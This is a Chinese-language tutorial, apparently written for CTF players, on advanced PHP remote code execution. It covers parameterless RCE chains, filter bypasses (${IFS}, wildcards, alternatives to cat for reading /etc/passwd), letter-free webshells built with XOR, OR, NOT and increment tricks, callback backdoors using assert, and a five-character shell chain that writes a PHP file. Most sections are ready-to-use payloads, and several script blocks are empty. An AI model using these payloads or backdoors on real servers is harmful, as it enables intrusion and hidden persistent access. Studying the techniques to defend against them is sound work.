RCE进阶技巧
RCE进阶技巧
无参数RCE
原理说明
无参数RCE是指在代码中只能使用函数,且函数不能带有参数。这种限制通常通过正则表达式实现:
1 | if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { |
正则表达式/[^\W]+\((?R)?\)/的含义:
[^\W]+- 匹配函数名(字母、数字、下划线)\(- 匹配左括号(?R)?- 递归匹配整个模式(允许函数嵌套)\)- 匹配右括号
构造当前目录的点
localeconv()函数
函数说明:localeconv()返回一个包含本地数字及货币格式信息的数组,数组的第一项就是小数点”.”。
函数原型:localeconv(): array
利用示例:
1 | print_r(localeconv()); |
构造方法:
1 | current(localeconv()) // 获取数组的第一个值,即"." |
完整利用:
1 | ?code=print_r(scandir(current(localeconv()))); |
原理说明:localeconv()返回的数组第一个元素是”.”,current()函数获取数组的当前元素(默认第一个),然后scandir(“.”)列出当前目录文件。
chr(46)函数
函数说明:chr()函数将ASCII码转换为字符,46对应字符”.”。
函数原型:chr(int $codepoint): string
利用方法一:直接使用chr(46)
1 | print_r(scandir(chr(46))); |
利用方法二:chr(time())
1 | print_r(scandir(chr(time()))); |
原理说明:chr()函数以256为一个周期,chr(46)、chr(302)、chr(558)都等于”.”。time()返回当前时间戳,随着时间增加,最终会得到46的倍数,从而得到”.”。
利用方法三:chr(current(localtime(time())))
1 | print_r(scandir(chr(current(localtime(time())))); |
原理说明:localtime()返回一个数组,第一个元素是秒数(0-59),current()获取第一个元素。秒数每秒增加1,最多60秒就会等于46,chr(46)就是”.”。
phpversion()函数
函数说明:phpversion()返回PHP版本号,如”5.5.9”。
函数原型:phpversion(): string
构造方法:通过数学运算得到46
1 | phpversion() // 返回"5.5.9" |
完整利用:
1 | ?code=print_r(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))); |
原理说明:通过一系列数学函数运算,将PHP版本号转换为46,然后chr(46)得到”.”,最后scandir列出目录。
crypt()函数
函数说明:crypt()函数返回字符串的hash值,hebrevc()函数反转希伯来文本的显示方向。
函数原型:
crypt(string $string, string $salt = ""): stringhebrevc(string $hebrew_text): string
利用方法一:hebrevc(crypt(arg))
1 | print_r(scandir(chr(ord(hebrevc(crypt(time()))))); |
原理说明:crypt(time())生成一个hash值,hebrevc()反转显示方向,ord()获取第一个字符的ASCII码,chr()转换为字符。hash值第一个字符随机是”.”或”$”,多刷新几次即可得到”.”。
利用方法二:strrev(crypt(serialize(array())))
1 | print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))); |
原理说明:serialize(array())序列化数组,crypt()生成hash,strrev()反转字符串(将最后一个字符放到第一个位置),ord()获取第一个字符的ASCII码,chr()转换为字符。
查看目录文件
scandir()函数
函数说明:scandir()列出指定路径中的文件和目录。
函数原型:scandir(string $directory, int $sorting_order = SCANDIR_SORT_ASCENDING, ?resource $context = null): array|false
利用方法一:查看当前目录
1 | print_r(scandir('.')); |
利用方法二:使用绝对路径
1 | print_r(scandir(getcwd())); |
利用方法三:使用realpath()
1 | print_r(scandir(realpath('.'))); |
getcwd()函数
函数说明:getcwd()返回当前工作目录。
函数原型:getcwd(): string|false
利用示例:
1 | print_r(scandir(getcwd())); |
realpath()函数
函数说明:realpath()返回规范化的绝对路径名。
函数原型:realpath(string $path): string|false
利用示例:
1 | print_r(scandir(realpath('.'))); |
dirname()函数
函数说明:dirname()返回路径中的目录部分。
函数原型:dirname(string $path, int $levels = 1): string
利用示例:
1 | print_r(scandir(dirname(getcwd()))); |
原理说明:getcwd()获取当前目录,dirname()获取上级目录路径,scandir()列出上级目录文件。
next()函数
函数说明:next()将数组内部指针向前移动一位。
函数原型:next(array|object &$array): mixed
利用示例:
1 | $files = scandir(getcwd()); |
原理说明:scandir(getcwd())返回数组[“.”, “..”, “flag.php”, “index.php”],next()将指针移到第二个元素”..”,scandir(“..”)列出上级目录。
读取文件
show_source()函数
函数说明:show_source()是highlight_file()的别名,对文件进行语法高亮并输出。
函数原型:show_source(string $filename, bool $return = false): string|bool
利用方法一:读取最后一个文件
1 | ?code=show_source(end(scandir(getcwd()))); |
利用方法二:读取倒数第一个文件
1 | ?code=show_source(current(array_reverse(scandir(getcwd())))); |
利用方法三:读取倒数第二个文件
1 | ?code=show_source(next(array_reverse(scandir(getcwd())))); |
利用方法四:随机读取文件
1 | ?code=show_source(array_rand(array_flip(scandir(getcwd())))); |
end()函数
函数说明:end()将数组的内部指针指向最后一个单元。
函数原型:end(array|object &$array): mixed
利用示例:
1 | $files = scandir(getcwd()); |
array_reverse()函数
函数说明:array_reverse()返回单元顺序相反的数组。
函数原型:array_reverse(array $array, bool $preserve_keys = false): array
利用示例:
1 | $files = scandir(getcwd()); |
array_flip()函数
函数说明:array_flip()交换数组中的键和值。
函数原型:array_flip(array $array): array
利用示例:
1 | $files = scandir(getcwd()); |
array_rand()函数
函数说明:array_rand()从数组中随机取出一个或多个单元。
函数原型:array_rand(array $array, int $num = 1): int|string|array
利用示例:
1 | $files = array_flip(scandir(getcwd())); |
readfile()函数
函数说明:readfile()读取文件并写入输出缓冲。
函数原型:readfile(string $filename, bool $use_include_path = false, ?resource $context = null): int|false
利用示例:
1 | ?code=readfile(end(scandir(getcwd()))); |
file_get_contents()函数
函数说明:file_get_contents()将整个文件读入一个字符串。
函数原型:file_get_contents(string $filename, bool $use_include_path = false, ?resource $context = null, int $offset = 0, ?int $length = null): string|false
利用示例:
1 | ?code=echo file_get_contents(end(scandir(getcwd()))); |
无参数命令执行
getallheaders()函数(仅Apache)
函数说明:getallheaders()获取所有HTTP请求头。
函数原型:getallheaders(): array
利用示例:
1 | ?code=eval(pos(getallheaders())); |
HTTP请求头:
1 | GET /vuln.php?code=eval(pos(getallheaders())) |
原理说明:getallheaders()返回所有HTTP头的数组,pos()获取第一个元素的值(User-Agent的值),eval()执行该值。
get_defined_vars()函数
函数说明:get_defined_vars()返回所有已定义变量的数组。
函数原型:get_defined_vars(bool $full_globals = false): array
利用示例:
1 | ?code=eval(pos(pos(get_defined_vars()))); |
原理说明:get_defined_vars()返回包含GET、POST、COOKIE等所有变量的数组,第一个pos()获取_GET数组,第二个pos()获取_GET数组的第一个元素”leon”的值”phpinfo()”,eval()执行。
session_id()函数
函数说明:session_id()获取或设置当前会话ID。
函数原型:session_id(?string $id = null): string|false
利用示例:
1 | ?code=eval(hex2bin(session_id(session_start()))); |
Cookie设置:
1 | Cookie: PHPSESSID=706870696e666f28293b |
原理说明:session_start()启动会话,session_id()获取会话ID,hex2bin()将十六进制转换为字符串,eval()执行。706870696e666f28293b是”phpinfo();”的十六进制编码。
getenv()函数(PHP7.1+)
函数说明:getenv()获取环境变量的值。
函数原型:getenv(string $varname = null): string|array|false
利用示例:
1 | ?code=eval(pos(getenv())); |
原理说明:getenv()返回所有环境变量的数组,pos()获取第一个环境变量的值,eval()执行。需要修改php.ini的variables_order包含”E”才能获取环境变量。
绕过各种过滤
绕过空格过滤
在Linux中,空格可以用以下字符代替:
%09(tab键)
1 | ?cmd=cat%09/etc/passwd |
原理说明:%09是tab键的URL编码,在shell中tab可以代替空格。
${IFS}
1 | ?cmd=cat${IFS}/etc/passwd |
原理说明:${IFS}是Linux内部字段分隔符(Internal Field Separator)的变量,默认值包含空格、制表符、换行符等,因此可以代替空格。
$IFS$9
1 | ?cmd=cat$IFS$9/etc/passwd |
原理说明:$IFS是内部字段分隔符变量,$9是shell的第九个参数(通常为空),组合起来就是空格。数字1-9都可以使用。
%20(space)
1 | ?cmd=cat%20/etc/passwd |
原理说明:%20是空格的URL编码。
<(重定向符)
1 | ?cmd=cat</etc/passwd |
原理说明:<是输入重定向符,可以代替空格,但需要文件有读权限。
<>(重定向符)
1 | ?cmd=cat<>/etc/passwd |
原理说明:<>是同时读写重定向符,可以代替空格,但需要文件有读写权限。
绕过命令分隔符过滤
当分号被过滤时,可以使用以下方法:
?>(PHP标签结束符)
1 | ?code=include$_GET[a]&a=/etc/passwd |
原理说明:在eval中,?>可以代替分号作为语句结束符。
%0a(换行符)
1 | ?cmd=cat%20/etc/passwd%0als |
原理说明:%0a是换行符的URL编码,在shell中换行可以分隔命令。
||(逻辑或)
1 | ?cmd=cat%20/etc/passwd||ls |
原理说明:||是逻辑或运算符,前面的命令执行失败时才执行后面的命令。
&&(逻辑与)
1 | ?cmd=cat%20/etc/passwd&&ls |
原理说明:&&是逻辑与运算符,前面的命令执行成功时才执行后面的命令。
|(管道符)
1 | ?cmd=cat%20/etc/passwd|head |
原理说明:|是管道符,将前一个命令的输出作为后一个命令的输入。
&(后台执行)
1 | ?cmd=cat%20/etc/passwd&ls |
原理说明:&将命令放到后台执行,同时执行下一个命令。
绕过关键字过滤
通配符绕过
?通配符(匹配单个字符)
1 | ?cmd=cat%20fla?.php |
原理说明:?匹配任意单个字符,fla?.php可以匹配flag.php、flab.php等。
*通配符(匹配多个字符)
1 | ?cmd=cat%20fla*.php |
原理说明:匹配零个或多个字符,fla.php可以匹配flag.php、flag1.php、flag_test.php等。
[]通配符(匹配字符集)
1 | ?cmd=cat%20fla[g-z].php |
原理说明:[]匹配指定范围内的任意一个字符,fla[g-z].php可以匹配flag.php、flaz.php等。
引号打断关键字
1 | ?cmd=cat%20fl''ag.php |
原理说明:单引号或双引号可以打断关键字识别,fl’’ag.php会被解析为flag.php。
反引号打断关键字
1 | ?cmd=cat%20fl``ag.php |
原理说明:反引号可以打断关键字识别,fl``ag.php会被解析为flag.php。
反斜杠转义
1 | ?cmd=cat%20fl\ag.php |
原理说明:反斜杠可以转义字符,fl\ag.php会被解析为flag.php。
使用替代命令
tac命令(反向显示)
1 | ?cmd=tac%20/etc/passwd |
原理说明:tac是cat的反向,从最后一行开始显示文件内容。
more命令(分页显示)
1 | ?cmd=more%20/etc/passwd |
原理说明:more命令分页显示文件内容,一次显示一屏。
less命令(分页显示)
1 | ?cmd=less%20/etc/passwd |
原理说明:less命令也是分页显示文件内容,比more功能更强大。
head命令(显示前几行)
1 | ?cmd=head%20-n%2010%20/etc/passwd |
原理说明:head命令显示文件的前10行。
tail命令(显示后几行)
1 | ?cmd=tail%20-n%2010%20/etc/passwd |
原理说明:tail命令显示文件的后10行。
nl命令(带行号显示)
1 | ?cmd=nl%20/etc/passwd |
原理说明:nl命令显示文件内容并添加行号。
sort命令(排序显示)
1 | ?cmd=sort%20/etc/passwd |
原理说明:sort命令对文件内容进行排序。
uniq命令(去重显示)
1 | ?cmd=uniq%20/etc/passwd |
原理说明:uniq命令去除文件中的重复行。
rev命令(反向显示)
1 | ?cmd=rev%20/etc/passwd |
原理说明:rev命令将文件内容每行字符反转。
xxd命令(十六进制显示)
1 | ?cmd=xxd%20/etc/passwd |
原理说明:xxd命令以十六进制格式显示文件内容。
strings命令(提取可打印字符)
1 | ?cmd=strings%20/etc/passwd |
原理说明:strings命令从二进制文件中提取可打印字符。
od命令(八进制显示)
1 | ?cmd=od%20-c%20/etc/passwd |
原理说明:od命令以八进制或其他格式显示文件内容。
dir命令(Windows)
1 | ?cmd=dir |
原理说明:dir命令在Windows中列出目录内容,与Linux的ls类似。
绕过括号过滤
当括号被过滤时,可以使用不带括号的函数:
include语言结构
1 | ?code=include$_GET[a]&a=/etc/passwd |
原理说明:include是语言结构而非函数,可以不带括号调用。
require语言结构
1 | ?code=require$_GET[a]&a=/etc/passwd |
原理说明:require是语言结构而非函数,可以不带括号调用。
绕过数字过滤
使用通配符
1 | ?cmd=cat%20flag?.php |
原理说明:?和*通配符可以匹配文件名中的数字部分。
使用find命令
1 | ?cmd=find%20/%20-name%20"flag*" |
原理说明:find命令可以查找文件,-name参数指定文件名模式,支持通配符。
绕过特殊字符过滤
使用十六进制编码
1 | ?cmd=system(hex2bin('77686f616d69')) |
原理说明:hex2bin()函数将十六进制字符串转换为普通字符串,77686f616d69是”whoami”的十六进制编码。
使用base64编码
1 | ?cmd=system(base64_decode('d2hvYW1p')) |
原理说明:base64_decode()函数将base64编码的字符串解码,d2hvYW1p是”whoami”的base64编码。
使用URL编码
1 | ?cmd=system(urldecode('%77%68%6f%61%6d%69')) |
原理说明:urldecode()函数将URL编码的字符串解码,%77%68%6f%61%6d%69是”whoami”的URL编码。
无字母数字webshell
异或方法
原理说明:在PHP中,两个字符串执行异或操作后得到的还是一个字符串。通过找到两个非字母数字的字符,使它们的异或结果为目标字母。
异或运算原理
异或运算(XOR)的规则:
- 0 XOR 0 = 0
- 0 XOR 1 = 1
- 1 XOR 0 = 1
- 1 XOR 1 = 0
对于字符的异或,是对字符的ASCII码进行异或运算。
利用示例
1 | $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; |
攻击Payload:
1 | POST /vuln.php |
原理说明:
%01^'‘` 异或得到字符’a’- 多个异或组合得到’assert’和’_POST’
$$__等价于$_POST$_($___[_])等价于assert($_POST[_])
生成脚本
1 |
|
原理说明:脚本遍历所有可能的字符组合,找到两个非字母数字的字符,它们的异或结果是可见字符(ASCII 32-126),将结果写入文件。
或运算方法
原理说明:与异或类似,使用或运算构造字符。
或运算原理
或运算(OR)的规则:
- 0 OR 0 = 0
- 0 OR 1 = 1
- 1 OR 0 = 1
- 1 OR 1 = 1
利用示例
1 | ("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60"); |
原理说明:
%13|%60或运算得到字符’s’- 多个或运算组合得到’system’和’ls’
- 最终执行system(‘ls’)
生成脚本
1 |
|
取反方法
原理说明:对UTF-8编码的汉字取反可以得到字母。
取反运算原理
取反运算(NOT)是对每个二进制位取反:
- 0 变为 1
- 1 变为 0
利用示例
1 | (~%8C%86%8C%8B%9A%92)(~%93%8C); // system('ls') |
原理说明:
%8C%86%8C%8B%9A%92是’system’的取反后URL编码%93%8C是’ls’的取反后URL编码~是取反运算符- 最终执行system(‘ls’)
生成方法
1 |
|
原理说明:~’system’对’system’字符串取反,urlencode()将结果URL编码。
自增方法
原理说明:PHP支持字符串自增,’a’++ => ‘b’,’b’++ => ‘c’。
字符串自增原理
PHP中的字符串自增遵循以下规则:
- ‘a’ 到 ‘z’ 可以自增
- ‘A’ 到 ‘Z’ 可以自增
- ‘z’ 或 ‘Z’ 自增后进位
利用示例
1 | $_=[]; |
攻击Payload:
1 | POST /vuln.php |
原理说明:
$_=[]创建空数组$_=@"$_"强制转换为字符串,得到’Array’$_=$_['!'=='@']‘!‘==‘@’为false,false转换为整数0,取数组的第0个元素,得到’A’- 通过自增从’A’得到’S’、’E’、’R’、’T’,组合成’ASSERT’
- 同理得到’_POST’
$_=$$____等价于$_=$_POST$___($_POST[_])等价于ASSERT($_POST[_])
回调后门
单参数回调后门
原理说明:使用assert函数作为回调,PHP 5.4.8+支持assert作为单参数回调。
call_user_func()函数
函数说明:call_user_func()把第一个参数作为回调函数调用。
函数原型:call_user_func(callable $callback, mixed ...$args): mixed
利用示例:
1 |
|
攻击Payload:
1 | POST /vuln.php |
原理说明:call_user_func将第一个参数’assert’作为函数名,第二个参数$_REQUEST[‘pass’]作为参数传递给assert函数,最终执行assert(‘system(‘ls’)’)。
call_user_func_array()函数
函数说明:call_user_func_array()调用回调函数,并将参数作为数组传递。
函数原型:call_user_func_array(callable $callback, array $args): mixed
利用示例:
1 |
|
攻击Payload:
1 | POST /vuln.php |
原理说明:call_user_func_array将第一个参数’assert’作为函数名,第二个参数数组中的元素作为参数传递给assert函数。
register_shutdown_function()函数
函数说明:register_shutdown_function()注册一个在脚本执行结束时执行的函数。
函数原型:register_shutdown_function(callable $callback, mixed ...$args): bool
利用示例:
1 |
|
攻击Payload:
1 | POST /vuln.php |
原理说明:register_shutdown_function注册assert函数,在脚本结束时执行,参数为$_REQUEST[‘pass’]。
filter_var()函数
函数说明:filter_var()使用指定的过滤器过滤变量。
函数原型:filter_var(mixed $value, int $filter = FILTER_DEFAULT, array|int $options = 0): mixed
利用示例:
1 |
|
攻击Payload:
1 | POST /vuln.php |
原理说明:filter_var使用FILTER_CALLBACK过滤器,回调函数为’assert’,对$_REQUEST[‘pass’]进行过滤,实际执行assert(‘system(‘ls’)’)。
filter_var_array()函数
函数说明:filter_var_array()获取多个变量并使用指定的过滤器过滤。
函数原型:filter_var_array(array $data, array|int $options = FILTER_DEFAULT, bool $add_empty = true): array|false|null
利用示例:
1 |
|
攻击Payload:
1 | POST /vuln.php |
原理说明:filter_var_array对数组中的每个元素应用FILTER_CALLBACK过滤器,回调函数为’assert’。
二参数回调后门
原理说明:使用assert函数作为回调,需要PHP 5.4.8+版本。在PHP 5.4.8+中,assert函数支持两个参数(第二个参数是描述信息)。
uasort()函数
函数说明:uasort()使用用户定义的比较函数对数组进行排序并保持索引关联。
函数原型:uasort(array &$array, callable $callback): bool
利用示例:
1 |
|
攻击Payload:
1 | POST /vuln.php |
原理说明:uasort的比较函数接受两个参数,base64_decode(‘YXNzZXJ0’)=’assert’,比较时会调用assert(‘test’, ‘system(‘ls’)’),在PHP 5.4.8+中可以执行。
ArrayObject::uasort()方法
利用示例:
1 |
|
攻击Payload:
1 | POST /vuln.php |
原理说明:ArrayObject对象的uasort方法与uasort函数功能相同。
uksort()函数
函数说明:uksort()使用用户自定义的比较函数对数组中的键名进行排序。
函数原型:uksort(array &$array, callable $callback): bool
利用示例:
1 |
|
攻击Payload:
1 | POST /vuln.php |
原理说明:uksort会对数组的键进行比较,回调函数assert会被调用,参数是两个键名’test’和’system(‘ls’)’,在PHP 5.4.8+中可以执行。
三参数回调后门
原理说明:使用preg_replace的/e模式,需要PHP 7.3以下版本。/e模式会将替换字符串作为PHP代码执行。
array_walk()函数
函数说明:array_walk()使用用户自定义函数对数组中的每个元素做回调处理。
函数原型:array_walk(array|object &$array, callable $callback, mixed $arg = null): bool
利用示例:
1 |
|
攻击Payload:
1 | POST /vuln.php |
原理说明:array_walk的回调函数接受三个参数(值、键、额外参数)。这里使用preg_replace作为回调,利用/e模式执行代码。|.|e是正则表达式,匹配所有内容并执行。实际执行preg_replace(‘|.|e’, ‘’, ‘phpinfo()’),由于/e模式,’phpinfo()’会被当作PHP代码执行。
array_walk_recursive()函数
函数说明:array_walk_recursive()对数组中的每个元素递归应用用户自定义函数。
函数原型:array_walk_recursive(array|object &$array, callable $callback, mixed $arg = null): bool
利用示例:
1 |
|
攻击Payload:
1 | POST /vuln.php |
原理说明:array_walk_recursive与array_walk类似,但会递归处理多维数组。
其他回调后门
array_filter()函数
函数说明:array_filter()使用回调函数过滤数组的元素。
函数原型:array_filter(array $array, ?callable $callback = null, int $mode = 0): array
利用示例:
1 |
|
攻击Payload:
1 | POST /vuln.php |
原理说明:array_filter会遍历数组,将每个元素传递给回调函数assert,最终执行assert(‘system(‘ls’)’)。
array_map()函数
函数说明:array_map()为数组的每个元素应用回调函数。
函数原型:array_map(?callable $callback, array $array, array ...$arrays): array
利用示例:
1 |
|
攻击Payload:
1 | POST /vuln.php |
原理说明:array_map会将回调函数应用到数组的每个元素,与array_filter类似。
array_reduce()函数
函数说明:array_reduce()用回调函数迭代地将数组简化为单一的值。
函数原型:array_reduce(array $array, callable $callback, mixed $initial = null): mixed
利用示例:
1 |
|
攻击Payload:
1 | POST /vuln.php |
原理说明:array_reduce的回调函数接受两个参数(carry和item),初始值为$_POST[‘pass’],回调函数为assert,最终执行assert(‘system(‘ls’)’)。
array_udiff()函数
函数说明:array_udiff()使用回调函数比较数组的差异。
函数原型:array_udiff(array $array, array ...$arrays, callable $value_compare_func): array
利用示例:
1 |
|
攻击Payload:
1 | POST /vuln.php |
原理说明:array_udiff的比较函数接受两个参数,回调函数为assert,比较时会执行assert。
usort()函数
函数说明:usort()使用用户自定义的比较函数对数组中的值进行排序。
函数原型:usort(array &$array, callable $callback): bool
利用示例:
1 |
|
攻击Payload:
1 | POST /vuln.php |
原理说明:usort的比较函数接受两个参数,回调函数为assert,比较时会执行assert。
create_function构造
原理说明:create_function动态创建函数,可以绕过某些限制。
create_function()函数
函数说明:create_function()动态创建一个匿名函数。
函数原型:create_function(string $args, string $code): string
利用示例:
1 |
|
攻击Payload:
1 | POST /vuln.php |
原理说明:create_function创建一个匿名函数,参数为$arr,函数体为’return assert($arr[0]);’。preg_replace_callback的回调函数就是这个匿名函数,参数$_REQUEST[‘pass’]会被传递给$arr,最终执行assert(‘system(‘ls’)’)。
mb_ereg_replace_callback()函数
函数说明:mb_ereg_replace_callback()执行正则表达式的搜索和替换,使用回调函数进行替换。
函数原型:mb_ereg_replace_callback(string $pattern, callable $callback, string $string, ?string $options = null): string|false|null
利用示例:
1 |
|
攻击Payload:
1 | POST /vuln.php |
原理说明:与preg_replace_callback类似,使用create_function创建回调函数。
有限字符下的RCE
Linux命令技巧
重定向符创建文件
>重定向符
1 | >filename |
原理说明:>是输出重定向符,如果文件不存在则创建新文件,如果文件存在则清空文件内容。
>>重定向符
1 | echo "content" >> filename |
原理说明:>>是追加重定向符,将内容追加到文件末尾,不会覆盖原有内容。
echo命令写入内容
1 | echo "content" > filename |
原理说明:echo命令输出内容,>将输出重定向到文件。
sh执行文件
1 | sh filename |
原理说明:sh命令会将文件内容当作shell命令执行。文件不需要执行权限。
ls排序技巧
ls -t命令
1 | ls -t |
原理说明:-t参数按文件修改时间排序,新创建的文件排在前面。
ls -h命令
1 | ls -ht |
原理说明:-h参数以易读的方式显示文件大小(如1KB、234MB),配合-t使用可以调整排序位置。
通配符执行
*通配符
1 | * |
原理说明:*是通配符,展开后会将目录下所有文件名作为参数。第一个文件名会被当作命令执行,其余文件名作为参数传递给该命令。
反斜杠换行
1 | cmd \ |
原理说明:反斜杠\是续行符,将一条命令多行化,以行末没有\为终止。
dir命令
1 | dir > filename |
原理说明:dir命令与ls类似,但写入文件时不会自动换行,所有文件名会在一行中,并用空格分隔。
五字符RCE示例
原理说明:利用重定向符、ls排序、通配符等技巧,在字符限制下构造命令。
完整利用步骤
1 | # 1. 创建dir文件 |
最终构造的命令:echo${IFS}PD9waHAgcGhwaW5mbygpOw==|base64 -d>1.php
原理说明:
>dir、>f\>等命令创建文件,文件名就是命令的一部分*>v将所有文件名写入v,ls -t按时间排序,dir在最前面*v>a反转v内容写入a,得到ls -ht > fsh a执行a文件,生成f文件,内容为ls -ht > f- 其他文件名组合成echo命令,通过ls -t排序后正确拼接
sh f执行f文件,最终执行echo${IFS}PD9waHAgcGhwaW5mbygpOw==|base64 -d>1.php- PD9waHAgcGhwaW5mbygpOw==是的base64编码
- 最终写入1.php文件,内容为


